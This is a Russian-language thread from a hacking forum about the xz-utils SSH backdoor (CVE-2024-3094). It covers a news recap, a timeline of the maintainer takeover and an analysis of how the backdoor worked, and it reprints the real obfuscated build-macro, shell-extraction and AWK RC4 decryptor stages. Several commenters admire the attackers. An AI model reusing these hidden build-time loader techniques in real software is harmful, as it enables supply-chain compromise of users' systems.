• XSS.stack #1 – первый литературный журнал от юзеров форума

В XZ Utils версий 5.6.0 и 5.6.1 обнаружили бэкдор под SSH.

Отслеживать
Center for Finance

Center for Finance

Developer XSS / Software / Traffic
КИДАЛА
Регистрация
13.10.2023
Сообщения
263
Реакции
88
Гарант сделки
7
Пожалуйста, обратите внимание, что пользователь заблокирован
Вчерашний баг в Linux меркнет на фоне подоспевших новостей. В XZ Utils версий 5.6.0 и 5.6.1 обнаружили бэкдор под SSH. Об этом сообщает RedHat и не стесняется в выражениях: «Немедленно вырубайте все инстансы Fedora Rawhide на работе и дома». Капслоком. Знакомьтесь, CVE-2024-3094, 10 из 10.

История пока только разворачивается. Судя по всему, один из мейнтейнеров XZ добавил в него бэкдор под очень нишевые конфигурации и таргетированную атаку по opensshd через systemd и пытался добиться добавления XZ 5.6.x в Fedora 40-41 и не только. Под эту конфигурацию попала свежая Debian Sid, начал лагать SSH, и бэкдор нашли в процессе анализа проблемы. Бэкдор, похоже, под удалённый доступ, у мейнтейнера многолетняя история коммитов с версии 5.4.0, и масштабы компрометации пока неизвестны. В общем, crazy fed shit запасайтесь попкорном, выходные будут яркими. Здесь в комментах подборка постов по основным дистрибутивам.
 
В пакете XZ Utils, включающем библиотеку liblzma и утилиты для работы со сжатыми данными в формате ".xz", выявлен бэкдор (CVE-2024-3094), позволяющий перехватывать и модифицировать данные, обрабатываемые приложениями, связанными с библиотекой liblzma. Основной целью бэкдора является сервер OpenSSH, в некоторых дистрибутивах связанный с библиотекой libsystemd, которая, в свою очередь, использует liblzma. Связывание sshd с уязвимой библиотекой позволяет злоумышленникам получить доступ к SSH-серверу без аутентификации.

Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию 5.4.6.

Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию zx, но не подвержены атаке, так как не применяют к openssh патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc.

Код активации бэкдора был спрятан в m4-макросах из файла build-to-host.m4, используемого инструментарием automake при сборке. При сборке в ходе выполнения запутанных обфусцированных операций на основе архивов (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), применяемых для тестирования корректности работы, формировался объектный файл с вредоносным кодом, который включался в состав библиотеки liblzma и изменял логику работы некоторых её функций. Активирующие бэкдор m4-макросы входили в состав tar-архивов релизов, но отсутствовали в Git-репозитории. При этом вредоносные тестовые архивы присутствовали в репозитории, т.е. внедривший бэкдор имел доступ как к репозиторию, так и к процессам формирования релизов.

При использовании liblzma в приложениях вредоносные изменения могли использоваться для перехвата или модификации данных, а также для влияния на работу sshd. В частности, вредоносный код подменял функцию RSA_public_decrypt для обхода процесса аутентификации в sshd. Бэкдор включал защиту от обнаружения и не проявлял себя при выставленных переменных окружения LANG и TERM (т.е. при запуске процесса в терминале) и не выставленных переменных окружения LD_DEBUG и LD_PROFILE, а также активировался только при выполнении исполняемого файла /usr/sbin/sshd. В бэкдоре также имелись средства обнаружения запуска в отладочных окружениях.

В частности, в файле m4/build-to-host.m4 использовались конструкции

Код: 
gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
...
  gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий:

Код: 
####Hello####
#345U211267$^D330^W
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 .... && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 - Jia Tan), разместивший в репозитории архивы с вредоносным кодом, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0, и не вызвал подозрений, так как участвовал в разработке xz на протяжении последних двух лет и является вторым разработчиком по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэёнтейнеров проекта XZ Embedded, используемого в ядре Linux.

Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии zx 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки "-fsanitize=address", что привело к его отключению при fuzzing-тестировании.

GitHub полностью заблокировал репозитории xz, xz-java и xz-embedded, которые теперь недоступны для анализа и загрузки прошлых версий. На archive.org и сайте проекта осталась последняя рабочая копия.
 
INC. сказал(а):
Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено
Если кратко - одинокого эмоционально нестабильного омежку-ментейнера репозитория целых 2 года окутывали коллеги из Поднебесной либо ее саттелита. Сначала внедрились на правах очень активного разработчика, который искренне и добросовестно помогал с кодом, став по сути вторым главным девелопером, а потом потихоньку подготовили почву для "случайного бага", вперемешку с полезными коммитами. Уговорили даже поменять контакты оригинального автора на контакты товарища Мал Вар Цзы в oss-fuzz, после чего уже ментейнера репозитория аж самого Google наебали отключить фаззинг ifunc в glibc, через которую атака и была произведена. Несколько сочных комментариев непосредственных участников событий:
Fascinating. Just yesterday the author added a `SECURITY.md` file to the `xz-java` project.
> If you discover a security vulnerability in this project please report it privately. *Do not disclose it as a public issue.* This gives us time to work with you to fix the issue before public exposure, reducing the chance that the exploit will be used before a patch is released.

Reading that in a different light, it says give me time to adjust my exploits and capitalize on any targets. Makes me wonder what other vulns might exist in the author's other projects.
Very annoying - the apparent author of the backdoor was in communication with me over several weeks trying to get xz 5.6.x added to Fedora 40 & 41 because of it's "great new features". We even worked with him to fix the valgrind issue (which it turns out now was caused by the backdoor he had added). We had to race last night to fix the problem after an inadvertent break of the embargo.
He has been part of the xz project for 2 years, adding all sorts of binary test files, and to be honest with this level of sophistication I would be suspicious of even older versions of xz until proven otherwise.

Тут TL/DR с общей хронологией атаки, но масштаб все еще предстоит увидеть - 2 года товарищ Мал Вар Цзы и его подопечные успешно разлагали кодовую базу проекта и бог знает сколько еще таких опенсурс проектов в разработке находится. А сам бекдор обнаружил лишь случайно какой-то х#й спустя месяц после релиза заметив микрозадержку на своих коннектах к sshd. +500 социальный рейтинг и звездочка на погона товарищу Мал Вар Цзы и нихао фанатам опенсурсе, чтд:

1711792669368.png
 
Последнее редактирование:
Ретроспектива продвижения бэкдора в пакет xz .

Предположительно бэкдор в пакет xz был внедрён разработчиком Jia Tan, который в 2022 году получил статус сопровождающего и выпускал релизы начиная с версии 5.4.2. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded, и был включён в число мэйнтейнеров проекта XZ Embedded, используемого в ядре Linux.

В организации продвижения бэкдора также замечены ещё два участника - Jigar Kumar и Hans Jansen, которые, судя по всему, являются виртуальными персонажами. Jigar Kumar в апреле 2022 года способствовал принятию в xz ранних патчей Jia Tan c реализацией поддержки строковых фильтров и оказывал моральное давление на Lasse Collin, тогдашнего сопровождающего, критикуя, что он не способен выполнять свои обязанности и не принимает полезные патчи. В июне Lasse Collin согласился, что проекту нужен новый сопровождающий, посетовал на выгорание и проблемы с психическим здоровьем, и передал право мэйнтейнера Jia Tan. После этого пользователь Jigar Kumar больше не появлялся в рассылке.

Получив права мэйнтейнера Jia Tan стал активно добавлять изменения в проект и по статистике за два года занял второе место среди разработчиков по числу изменений. В марте 2023 года ответственный за тестирование пакета xz в сервисе oss-fuzz был заменён с Lasse Collin на Jia Tan, а в июне в состав xz были приняты изменения, добавляющие в liblzma поддержку механизма IFUNC (конструктор crc64_fast был заменён на ifunc), который позднее был задействован для организации перехвата функций в бэкдоре. Изменение предложил Hans Jansen, а Jia Tan принял его в состав xz. Учётная запись Hans Jansen была создана непосредственно перед отправкой pull-запроса.

В июле 2023 года Jia Tan отправил разработчикам oss-fuzz запрос на отключение проверки ifunc из-за его несовместимости с режимом "-fsanitize=address". В начале февраля 2024 года ссылка на сайт проекта в oss-fuzz и на главной странице tukaani.org была изменена с "tukaani.org/xz/" на "xz.tukaani.org", где поддомен "xz.tukaani.org" размещался в сервисе GitHub Pages и контролировался лично Jia Tan. 23 февраля в репозитории xz были размещены архивы для тестирования работы декодировщика, среди которых были файлы bad-3-corrupt_lzma2.xz и good-large_compressed.lzma со скрытым бэкдором. M4-макросы для активации бэкдора были включены только в tar-архив с релизом 5.6.0 и были исключены из Git-репозитория, но засветились в файле .gitignore.

17 марта Hans Jansen, разработавший ранее патчи с поддержкой IFUNC, был зарегистрирован в качестве участника проекта Debian, а 25 марта им был отправлен запрос на обновление версии пакета xz-utils в репозитории Debian. Запросы на обновление версии также поступили разработчикам Fedora и Ubuntu (в Ubuntu репозиторий был на стадии заморозки и изменение было отклонено).

К просьбам обновить версию xz также присоединились некоторые пользователи, заявлявшие, что в новой версии устранены мешающие работе сбои, выявляемые при отладке в valgrind (проблемы возникали из-за некорректного определения раскладки стека в обработчике бэкдора и эти проблемы разработчики бэкдора постарались устранить в версии xz 5.6.1). Сбоем также заинтересовался Andres Freund, сотрудник Microsoft, участвующий в разработке PostgreSQL, который выявил наличие бэкдора и оповестил об этом сообщество.
 
Разбор логики активации и работы бэкдора в пакете xz .

Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.

В частности, перехватываемая бэкдором функция RSA_public_decrypt проверяет подпись хоста, используя фиксированный ключ Ed448, и в случае успешной проверки выполняет переданный внешним хостом код при помощи функции system() на стадии до сброса привилегий процессом sshd. Данные, содержащие код для исполнения, извлекаются из параметра "N", переданного в функцию RSA_public_decrypt (поле "n" из структуры rsa_st, содержащей переданный внешним хостом открытый ключ), проверяются по контрольной сумме и расшифровываются при помощи предопределённого ключа ChaCha20 на стадии до верификации цифровой подписи Ed448.

В качестве признака для активации бэкдора в sshd используется штатный механизм обмена хостовыми ключами. Бэкдор пользуется тем, что сертификаты OpenSSH включают открытый ключ лица, сформировавшего подпись, и реагирует только на ключ, подготовленный злоумышленником и соответствующий предопределённому фиксированному ключу Ed448. Если верификация подписи по открытому ключу не проходит или если целостность данных для исполнения не подтверждается, бэкдор возвращает управление штатным функциям SSH.

Так как закрытый ключ злоумышленника неизвестен, невозможно реализовать проверочный код, который позволил бы активировать бэкдор и реализовать сканер скомпрометированных хостов в сети. Исследователями подготовлен скрипт, демонстрирующий технику подстановки открытого ключа с произвольным содержимым в передаваемый SSH-клиентом сертификат OpenSSH, который будет обработан в перехваченной бэкдором функции RSA_public_decrypt.

Исследователи также заметили наличие конструкции, обезвреживающей бэкдор (killswitch) на локальной системе при наличии выставленной перед запуском sshd переменой окружения "yolAbejyiejuvnup=Evjtgvsh5okmkAvj".

Дополнительно можно отметить детальный разбор shell-конструкций, используемых для запутывания процесса извлечения объектного файла с бэкдором и его подстановки в библиотеку liblzma. Во время сборки пакета xz из скрипта build-to-host.m4 запускался код, который находил среди тестовых файлов архив bad-3-corrupt_lzma2.xz, заменял в нём некоторые символы, превращал в неповреждённый архив и извлекал из него shell-скрипт.


Код: 
gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
...
  gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
  gl_path_map='tr "\t \-_" " \t_\-"
'

Полученный shell-скрипт по кусочкам извлекал из содержимого архива good-large_compressed.lzma ещё один shell-скрипт, пропуская определённые последовательности командами head и tail, и заменяя символы командой tr.

Код: 
####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

В результате формировался достаточно сложный и объёмный shell-скрипт, извлекающий непосредственно файл с бэкдором из архива good-large_compressed.lzma, расшифровывающий его и встраивающий в liblzma. Среди прочего в скрипте присутствовала реализация механизма плагинов, позволяющая впоследствии поставлять дополнительные исполняемые компоненты через размещение новых тестовых архивов, не меняя good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, а используя поиск по сигнатуре. В коде также был задействован дешифровщик на базе алгоритма RC4, реализованный на языке AWK:

Код: 
N=0
W=88664
else
N=88664
W=0
fi
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Всё самое интересное опять случилось ночью, пока вы спали. Интернет штормит на 10 из 10 по CVE: скомпрометированы примерно все ssh-сервера на debian-like через подломленный репозиторий xz и библиотечку liblzma.
А как так, спросишь ты? openssh никак не используется liblzma. Но есть нюанс: шапка, федора и прочие дебианы патчат openssh для совместимости c нотификациями systemd, и вот такая вот петрушка.
Автор кода – молодец, каких поискать. Мало того, что придумал, как скомпрометировать проект через тест (то есть, код xz чистый и до компиляции всё чинно-благородно), так говорят, что он ещё и известный oss-fuzz отучил детектить своё нововведение.
Для любителей циферок гуглить CVE-2024-3094
CISA говорят алярм - https://www.cisa[.]gov/news-events/...-utils-data-compression-library-cve-2024-3094

Репозиторий xz выключен наглухо, а каждый второй судорожно проверяет версию xz, ведь если там 5.6.0 и выше, то надо срочно откатываться.

Весёлое утро, да.

 
Center for Finance сказал(а):
Всё самое интересное опять случилось ночью, пока вы спали. Интернет штормит на 10 из 10 по CVE: скомпрометированы примерно все ssh-сервера на debian-like через подломленный репозиторий xz и библиотечку liblzma.
А как так, спросишь ты? openssh никак не используется liblzma. Но есть нюанс: шапка, федора и прочие дебианы патчат openssh для совместимости c нотификациями systemd, и вот такая вот петрушка.
Автор кода – молодец, каких поискать. Мало того, что придумал, как скомпрометировать проект через тест (то есть, код xz чистый и до компиляции всё чинно-благородно), так говорят, что он ещё и известный oss-fuzz отучил детектить своё нововведение.
Для любителей циферок гуглить CVE-2024-3094
CISA говорят алярм - https://www.cisa[.]gov/news-events/...-utils-data-compression-library-cve-2024-3094

Репозиторий xz выключен наглухо, а каждый второй судорожно проверяет версию xz, ведь если там 5.6.0 и выше, то надо срочно откатываться.

Весёлое утро, да.

при чём тут дебиан? обычно всякие федоры и арчи свежее добро к себе тащут, а в дебиане софт старый.

debian 11: 5.2.5
debian 12: 5.4.1
 
Если ваша система использует пакеты «xz-5.6.0» или «xz-5.6.1», вам необходимо немедленно понизить их версию до «5.4.X», чтобы избавиться от бэкдорного кода. По словам разработчиков, стабильные версии Debian и связанные с ними дистрибутивы не затронуты. Чтобы проверить, заражены ли вы, выполните следующую команду, чтобы проверить вашу версию «xz».
Bash: 
xz -V
Хорошим результатом будет то, что показано ниже, где отображается незатронутая версия, присутствующая в стабильной версии Debian 12.
Код: 
xz (XZ Utils) 5.4.1
liblzma 5.4.1
 
Dread Pirate Roberts сказал(а):
при чём тут дебиан? обычно всякие федоры и арчи свежее добро к себе тащут, а в дебиане софт старый.

debian 11: 5.2.5
debian 12: 5.4.1
В Дебиане, кажется, trixie (testing) тащил 5.6.1. Но их мало кто использует, есть люди, сидят еще и на debian 9 =) Да, ты полностью прав, менее консервативные пострадали больше.
 
ntdll сказал(а):
Если кратко - одинокого эмоционально нестабильного омежку-ментейнера репозитория целых 2 года окутывали коллеги из Поднебесной либо ее саттелита. Сначала внедрились на правах очень активного разработчика, который искренне и добросовестно помогал с кодом, став по сути вторым главным девелопером, а потом потихоньку подготовили почву для "случайного бага", вперемешку с полезными коммитами. Уговорили даже поменять контакты оригинального автора на контакты товарища Мал Вар Цзы в oss-fuzz, после чего уже ментейнера репозитория аж самого Google наебали отключить фаззинг ifunc в glibc, через которую атака и была произведена. Несколько сочных комментариев непосредственных участников событий:
Профессиональная тонкая работа, что тут скажешь. Разраб одиночка какой бы он не был альфач, не устоит против организации, тем более против государства, даже маленького ближневосточного. Мне кажется, так не только по софту работать можно, а скажем и по форумам. Про китайцев конкретная фактура есть, или как всегда - кровавый навет известно кого?
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Подоспел предварительный анализ бэкдора в XZ Utils. Опасения оправдались: он не просто на обход аутентификации, а под произвольный код. При этом без следов в логах sshd. Бэкдор активируется по закрытому ключу, так что со сканером под скомпрометированные хосты проблемы. Для обфускации у него сложные shell-скрипты, в комплекте killswitch… В общем, красиво. Вопрос лишь, кто писал. С одной стороны, у крота-мейнтейнера китайские имя и часовой пояс. С другой, это может быть очевидное прикрытие. При всём при этом бэкдор был обнаружен совершенно случайно на случайно же попавшем под его конфиг нестабильном дистре. И только потому что у одного турбоаутиста увлечённого человека sshd чуть-чуть залагал и ему было не лень прогнать кучу тестов. Что было бы, если бэкдор добрался до стабильных релизов незамеченным, представьте сами. Как минимум, у кого-то была бы успешная шпионская кампания. Как минимум.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вчерашний баг в Linux меркнет на фоне подоспевших новостей. В XZ Utils версий 5.6.0 и 5.6.1 обнаружили бэкдор под SSH. Об этом сообщает RedHat и не стесняется в выражениях: «Немедленно вырубайте все инстансы Fedora Rawhide на работе и дома». Капслоком. Знакомьтесь, CVE-2024-3094, 10 из 10.

История пока только разворачивается. Судя по всему, один из мейнтейнеров XZ добавил в него бэкдор под очень нишевые конфигурации и таргетированную атаку по opensshd через systemd и пытался добиться добавления XZ 5.6.x в Fedora 40-41 и не только. Под эту конфигурацию попала свежая Debian Sid, начал лагать SSH, и бэкдор нашли в процессе анализа проблемы. Бэкдор под удалённый доступ, у мейнтейнера многолетняя история коммитов с версии 5.4.0, и масштабы компрометации пока неизвестны. В общем, crazy fed shit запасайтесь попкорном, выходные будут яркими. Здесь в комментах подборка постов по основным дистрибутивам. А здесь подробный таймлайн по кроту-мейнтейнеру с 2021-го.
 
Сразу скажу, что если у вас Debian 11 или 12 можно вообще не переживать и не торопиться обновляться. Никаких проблем с найденной уязвимостью в этих системах нет. Заражённый пакет успел приехать только в тестовый репозиторий sid.

Расскажу своими словами, в чём там дело. OpenSSH сервер использует библиотеку liblzma. Насколько я понял, не все сервера её используют, но большая часть. Проверить можно так:

# ldd "$(command -v sshd)" | grep liblzma
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007f4f01c9d000)

Уязвимой является версия библиотеки 5.6.0 и 5.6.1. Проверяем установленную у себя версию через пакетный менеджер. Для deb вот так:

# dpkg -l | grep liblzma
ii liblzma5:amd64 5.4.1-0.2 amd64 XZ-format compression library

Или напрямую через просмотр версии xz:

# xz --version
xz (XZ Utils) 5.4.1
liblzma 5.4.1

В Debian 12 указанной уязвимости нет, можно не переживать. В security-tracker есть отдельная страница по этой уязвимости. Там видно, что версия 5.6.1 была только в sid.

В rpm дистрибутивах нужно проверять версию пакета xz-libs:

# rpm -qa | grep xz-libs
xz-libs-5.2.4-4.el8_6.x86_64

Для 8-й ветки форков RHEL проблема тоже неактуальна. 9-й у меня нигде нет, там не проверял.

Вообще, история с этой уязвимостью очень любопытная. На самом деле она позвоялет выполнить произвольный код в системе, не оставляя следов в логах sshd. Подробный разбор работы есть на opennet. Сделано всё очень мудрёно и запутанно не без использования bash портянки, которая выглядит как обфускация. А обнаружили уязвимость случайно, потому что sshd стал чуток медленнее работать, чем раньше. А сколько таких уязвимостей есть в системах, которые ещё никто случайно не заметил?

Оригинал
 
sithortodox сказал(а):
А сколько таких уязвимостей есть в системах, которые ещё никто случайно не заметил?
Компиляторы (и библиотеки) надо проверять в первую очередь, как завещал товарищ Кен Томпсон.
 
alex778 сказал(а):
Профессиональная тонкая работа, что тут скажешь. Разраб одиночка какой бы он не был альфач, не устоит против организации, тем более против государства, даже маленького ближневосточного. Мне кажется, так не только по софту работать можно, а скажем и по форумам. Про китайцев конкретная фактура есть, или как всегда - кровавый навет известно кого?
Догадки, естественно: главный автор бекдора работал примерно по mainland China времени. Главный потому что в течение операции подтянул еще пару твинков от имени которых делал вредоносные коммиты, а сам лишь аппрувил. Ник конечно не доказательство, однако страна на 4 буквы рядом Китаем любит такие операции под чужим флагом проводить, например. Атака sophisticated и не похоже что была коммерчески мотивированна - уж больно беззубым оказался бекдор, поэтому народ сходится на том, что скорее это был state actor.

alex778 сказал(а):
Компиляторы (и библиотеки) надо проверять в первую очередь, как завещал товарищ Кен Томпсон.
llvm кстати тянет liblzma как зависимость. Так что если бы таргетили не только sshd, то можно много интересного было бы сделать, куда покруче чем просто сниффинг кредов от ssh, благо у девелоперов вероятность встретить testing репозитории куда выше.
 
ntdll сказал(а):
llvm кстати тянет liblzma как зависимость. Так что если бы таргетили не только sshd, то можно много интересного было бы сделать, куда покруче чем просто сниффинг кредов от ssh, благо у девелоперов вероятность встретить testing репозитории куда выше.
а таргетили не только sshd, системудэ зависит от lzma, то есть в перспективе целились на подавляющее большинство серверов в мире, на sshd только обкатывали бэкдор.
Код: 
$ ldd /sbin/init | grep lzma
        liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5
 
Dread Pirate Roberts сказал(а):
а таргетили не только sshd, системудэ зависит от lzma, то есть в перспективе целились на подавляющее большинство серверов в мире, на sshd только обкатывали бэкдор.
Код: 
$ ldd /sbin/init | grep lzma
        liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5
да, это правильная интерпретация, что-то я х#йню погнал. даже не таргетили sshd тогда получается, а лишь использовали его зависимость от системудэ для патчинга уведомлений, сам эсэсэшдэ ведь не линкуется с lzma. немного жалко коллег, идея то хорошая была. надеюсь план Б, В, и Ж у них были и таких репозиториев еще штук 10

дотянуть до выката в стейбл у дебиана пожалуй было нереально, а вот федора с ее полугодичным циклом выглядит возможной. а федора это уже всякие образовательные организации, институты. могло бы интересно выйти. интересно сколько бы они протянули если бы не тот душнила с его дрочем на микросекунды в подключениях ссхд
 
Последнее редактирование:
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх